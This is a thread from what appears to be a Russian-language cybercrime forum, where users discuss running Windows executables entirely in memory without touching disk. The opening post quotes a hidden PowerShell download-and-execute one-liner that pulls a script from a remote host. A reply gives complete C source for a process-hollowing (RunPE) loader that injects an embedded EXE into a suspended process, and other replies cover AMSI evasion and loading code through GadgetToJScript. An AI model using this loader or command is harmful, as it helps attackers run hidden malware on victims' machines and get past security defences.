• XSS.stack #1 – первый литературный журнал от юзеров форума

Вопрос к гуру

AlexLyt

RAID-массив
Забанен
Регистрация
11.11.2019
Сообщения
89
Реакции
34
Пожалуйста, обратите внимание, что пользователь заблокирован
Кто сталкивался с бес файловым запуском программы на Си, Вин Апи. у Powershell готовая реализация это powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://х.х.х.х/xVpjqutz/p.ps1'))" .
По поводу Си остаются вопросы.
Так же мы запускаем не строку а exe.
Кто может обьяснить или дать линки на проэкты, маны?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Бинарь всё равно должен быть в каком-то виде. А там уже остаётся только придумывать как запускать. Если у вас шеллкод, то всё достаточно просто. Если у вас PE файл, то вы можете замапить его внутри своего загрузчика и выполнить.
Повершел так может работать, потому что он интерпретируется. Так же собственно и python может работать.
 

Python может конечно работать, но на сколько знаю там всёравно работа идёт с либой, которая открывает мост к C++
 
Пожалуйста, обратите внимание, что пользователь заблокирован
На Powershell можно замаппить нативный код напрямую, на VBScript/JScript можно подгрузить дотнет-сборку через Gadget2JScript, которая уже в свою очередь замаппит нативный код. Но в обоих случаях надо не забывать про AMSI.
 
Пожалуйста, обратите внимание, что пользователь заблокирован

Python может конечно работать, но на сколько знаю там всёравно работа идёт с либой, которая открывает мост к C++
Речь не про это, будто повершел не привязан к нативному коду
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А как тогда реализовать чтоб диск не затрагивать бинарником? я вот подумал, выделяем паять под нагрузку и буфер для выкачки, качаем потоком в буфер, из буфера сделать ранпе или лоад пе. Или даже загрузчик создает процесс, потом мапимся в выделенную память или саму полезную нагрузку как данные передавать в память, в памяти собрать пе.
В общем хз, как это все закрутить, что б диск не затронуть
 
Кто может обьяснить или дать линки на проэкты, маны?
Старый код, будет ли в 2к2! работать - х его з. Сам принцип запуска понятен из кода - создаёшь остановленный процесс, вручную заполняешь память и пускаешь тред.

void RunFromMemory(char* pImage,char* pPath)
{
DWORD dwWritten = 0;
DWORD dwHeader = 0;
DWORD dwImageSize = 0;
DWORD dwSectionCount = 0;
DWORD dwSectionSize = 0;
DWORD firstSection = 0;
DWORD previousProtection = 0;
DWORD jmpSize = 0;

IMAGE_NT_HEADERS INH;
IMAGE_DOS_HEADER IDH;
IMAGE_SECTION_HEADER Sections[1000];

PROCESS_INFORMATION peProcessInformation;
STARTUPINFO peStartUpInformation;
CONTEXT pContext;

char* pMemory;
char* pFile;
memcpy(&IDH,pImage,sizeof(IDH));
memcpy(&INH,(void*)((DWORD)pImage+IDH.e_lfanew),sizeof(INH));

dwImageSize = INH.OptionalHeader.SizeOfImage;
pMemory = (char*)malloc(dwImageSize);
memset(pMemory,0,dwImageSize);
pFile = pMemory;

dwHeader = INH.OptionalHeader.SizeOfHeaders;
firstSection = (DWORD)(((DWORD)pImage+IDH.e_lfanew) + sizeof(IMAGE_NT_HEADERS));
memcpy(Sections,(char*)(firstSection),sizeof(IMAGE_SECTION_HEADER)*INH.FileHeader.NumberOfSections);

memcpy(pFile,pImage,dwHeader);

if((INH.OptionalHeader.SizeOfHeaders % INH.OptionalHeader.SectionAlignment)==0)
{
jmpSize = INH.OptionalHeader.SizeOfHeaders;
}
else
{
jmpSize = INH.OptionalHeader.SizeOfHeaders / INH.OptionalHeader.SectionAlignment;
jmpSize += 1;
jmpSize *= INH.OptionalHeader.SectionAlignment;
}

pFile = (char*)((DWORD)pFile + jmpSize);

for(dwSectionCount = 0; dwSectionCount < INH.FileHeader.NumberOfSections; dwSectionCount++)
{
jmpSize = 0;
dwSectionSize = Sections[dwSectionCount].SizeOfRawData;
memcpy(pFile,(char*)(pImage + Sections[dwSectionCount].PointerToRawData),dwSectionSize);

if((Sections[dwSectionCount].Misc.VirtualSize % INH.OptionalHeader.SectionAlignment)==0)
{
jmpSize = Sections[dwSectionCount].Misc.VirtualSize;
}
else
{
jmpSize = Sections[dwSectionCount].Misc.VirtualSize / INH.OptionalHeader.SectionAlignment;
jmpSize += 1;
jmpSize *= INH.OptionalHeader.SectionAlignment;
}
pFile = (char*)((DWORD)pFile + jmpSize);
}


memset(&peStartUpInformation,0,sizeof(STARTUPINFO));
memset(&peProcessInformation,0,sizeof(PROCESS_INFORMATION));
memset(&pContext,0,sizeof(CONTEXT));

peStartUpInformation.cb = sizeof(peStartUpInformation);
if(CreateProcess(NULL,pPath,&secAttrib,NULL,false,CREATE_SUSPENDED, NULL,NULL,&peStartUpInformation,&peProcessInformation))
{
// hideProcess(peProcessInformation.dwProcessId);
// startHook(peProcessInformation.hProcess);
pContext.ContextFlags = CONTEXT_FULL;
GetThreadContext(peProcessInformation.hThread,&pContext);
VirtualProtectEx(peProcessInformation.hProcess,(void*)((DWORD)INH.OptionalHeader.ImageBase),dwImageSize,PAGE_EXECUTE_READWRITE,&previousProtection);
WriteProcessMemory(peProcessInformation.hProcess,(void*)((DWORD)INH.OptionalHeader.ImageBase),pMemory,dwImageSize,&dwWritten);
WriteProcessMemory(peProcessInformation.hProcess,(void*)((DWORD)pContext.Ebx + 8),&INH.OptionalHeader.ImageBase,4,&dwWritten);
pContext.Eax = INH.OptionalHeader.ImageBase + INH.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(peProcessInformation.hThread,&pContext);
VirtualProtectEx(peProcessInformation.hProcess,(void*)((DWORD)INH.OptionalHeader.ImageBase),dwImageSize,previousProtection,0);
ResumeThread(peProcessInformation.hThread);
}
free(pMemory);
}

int main(int argc,char* argv[])
{
HGLOBAL hResData;
HRSRC hResInfo;
void *pvRes;
DWORD dwSize;
char* lpMemory;
HMODULE hModule = GetModuleHandle(NULL);

if (((hResInfo = FindResource(hModule, MAKEINTRESOURCE(IDD_EXE1), "EXE")) != NULL) &&((hResData = LoadResource(hModule, hResInfo)) != NULL) &&((pvRes = LockResource(hResData)) != NULL))
{
dwSize = SizeofResource(hModule, hResInfo);
lpMemory = (char*)malloc (dwSize);
memset(lpMemory,0,dwSize);
memcpy (lpMemory, pvRes, dwSize);
RunFromMemory(lpMemory,argv[0]);
}
}
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Не не, я не про то, я про сам механизм.
Какой библиотекой скачать, и скачать так что б потом к этим данным обратится в памяти, и хз как считать их правильно для запуска.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
я не могу понять как качать в память, без дисково.
Тролинг какой-то?
Уже же есть ответ.
вот ссылку даже дам, если просто вининет загуглить не получается
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх